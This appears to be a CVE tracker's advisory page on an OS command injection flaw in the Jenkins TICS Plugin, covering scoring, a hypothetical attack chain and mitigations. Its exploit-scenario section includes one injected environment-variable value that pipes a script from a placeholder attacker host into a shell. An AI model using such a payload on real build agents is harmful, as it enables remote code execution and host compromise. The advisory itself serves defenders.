Skip to main content

Jenkins TICS Plugin CVE-2026-84675

| EUVDEUVD-2026-70148 HIGH
OS Command Injection (CWE-78)
2026-09-02 jenkins GHSA-2g8p-r374-fc4m
7.4
CVSS 3.1 · Vendor: jenkins
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Jenkins with low-privilege account
  2. Delivery
    Configure or parameterize build job with malicious env var value
  3. Exploit
    Trigger build on TICS-enabled job
  4. Execution
    Plugin passes env var unsanitized into OS command
  5. Persist
    Arbitrary shell command executes on build agent
  6. Impact
    Agent host compromised

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a Jenkins account with sufficient permissions to control build environment variable values - this includes users who can edit job configurations, trigger parameterized builds with custom variable inputs, or inject variables through other Jenkins mechanisms (shared libraries, global properties if writable). The Jenkins TICS Plugin must be installed and active in at least one build job that the attacker can trigger or influence. Exploitation is limited to users with at least PR:L access - anonymous or unauthenticated users cannot exploit this flaw. Commands execute on the build agent (which may be a different host from the Jenkins controller), not the controller itself, bounding the direct impact to agent-level compromise.

Impact

The vendor-assigned CVSS 7.4 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L) requires low privilege but no other special complexity. However, the C:L/I:L/A:L impact ratings appear inconsistent with arbitrary OS command injection, which typically yields full compromise of the execution context - C:H/I:H/A:H on the affected agent is the more defensible assessment; this discrepancy should be verified with the Jenkins security team. SSVC classifies exploitation as none (no observed active exploitation), automatable as no (requires a configured build context with attacker-controlled env vars), and technical impact as partial - collectively indicating moderate urgency despite the injection primitive. No public exploit code exists and the CVE is absent from CISA KEV. Real-world priority is elevated in multi-tenant Jenkins instances where untrusted users can configure jobs or set parameterized build variables, and lower in tightly controlled single-team environments.

Exploit ScenarioDerived

An authenticated Jenkins user with job-configuration or parameterized-build rights sets a build environment variable to a value containing shell metacharacters (e.g., legitimate_value; curl attacker.com/shell.sh | sh). When the TICS plugin incorporates this variable into an OS command during the build, the injected shell payload executes on the build agent under the agent process's OS user account, potentially granting the attacker persistent access to the agent host.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 1.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 02, 2026

OS command injection in Jenkins TICS Plugin 2025.1.1 and earlier allows an authenticated, low-privileged Jenkins user who can control build environment variable values to execute arbitrary commands on the build agent hosting the job. The flaw stems from unsanitized environment variable values being passed directly to OS command invocations within the plugin, and the scope change (S:C) means impact falls on the agent node rather than the Jenkins controller. No public exploit code exists and SSVC rates exploitation status as none with non-automatable attack path, placing real-world priority lower than the raw CVSS score suggests.

RemediationAI

Upgrade the Jenkins TICS Plugin to a version beyond 2025.1.1 per the vendor advisory at https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3987. The exact patched release version is not specified in the available input data - consult the Jenkins update center for the current fixed release. Patch available per vendor advisory. If immediate upgrade is not possible, restrict job configuration and parameterized-build permissions to fully trusted users via Jenkins' role-based access control, preventing untrusted actors from controlling environment variable values consumed by the TICS plugin. Additionally, consider running TICS-enabled jobs on dedicated agents with minimal host privileges to limit blast radius if exploitation occurs before patching.

Affected VersionsENISA

Jenkins TICS Plugin 0 ≤2025.1.1

Affected Packages

euvd jenkins_tics_plugin no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Jenkins TICS Plugin integrates TIOBE's TICS quality-analysis platform into Jenkins CI/CD pipelines. The root cause is CWE-78 (OS Command Injection): the plugin incorporates build environment variable values into shell command strings without adequate sanitization or quoting, allowing an attacker who supplies a crafted variable value containing shell metacharacters to break out of the intended command context. Because the plugin executes build steps on the Jenkins agent (a separate process/host from the controller), the CVSS vector carries S:C (scope changed). The affected CPE is cpe:2.3:a:jenkins_project:jenkins_tics_plugin:*:*:*:*:*:*:*:* covering all versions through 2025.1.1, confirmed by the Jenkins project's own advisory SECURITY-3987.

Know when Jenkins Tics Plugin gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (jenkins) PRIMARY 7.4 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
vuln.today AI 9.9 CRITICAL

OS command injection yields full agent-node compromise (C:H/I:H/A:H); PR:L required for job-configuration access; S:C because impact falls on the agent, not the controller.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Primary rating from Vendor (jenkins).

CVSS VectorVendor: jenkins

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

3
CVSS changed
Sep 02, 2026 - 17:22 NVD
7.4 (HIGH)
CVE Published
Sep 02, 2026 - 15:40 cve.org
UNKNOWN (no severity yet)
CVE Published
Sep 02, 2026 - 15:40 cve.org
HIGH 7.4

DescriptionCVE.org

OS command injection vulnerability in Jenkins TICS Plugin 2025.1.1 and earlier allows attackers able to control build environment variable values to execute arbitrary commands on the agent running the build.

Executive ViewAI

Why It Matters

Jenkins TICS Plugin versions 2025.1.1 and earlier contain an OS command injection vulnerability affecting build agent infrastructure. An authenticated, low-privileged Jenkins user who can control build environment variables could execute arbitrary commands on build agents, potentially compromising artifact generation, test infrastructure, and CI/CD pipelines across dependent jobs.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict job creation and environment variable modification permissions to administrators only via Jenkins role-based access control; (2) disable TICS Plugin in development/test instances if not required; (3) run build agents in isolated network segments with egress filtering to limit lateral movement; (4) enable Jenkins audit logs to track job modifications and user actions; (5) implement shell access logging and command monitoring on build agents to detect injected OS commands.

Threat Intelligence Overview

EPSS Score
1.2%
Top 33% exploitable
Prevalence
Low
niche third-party CI plugin for TIOBE TICS quality platform
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +37
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy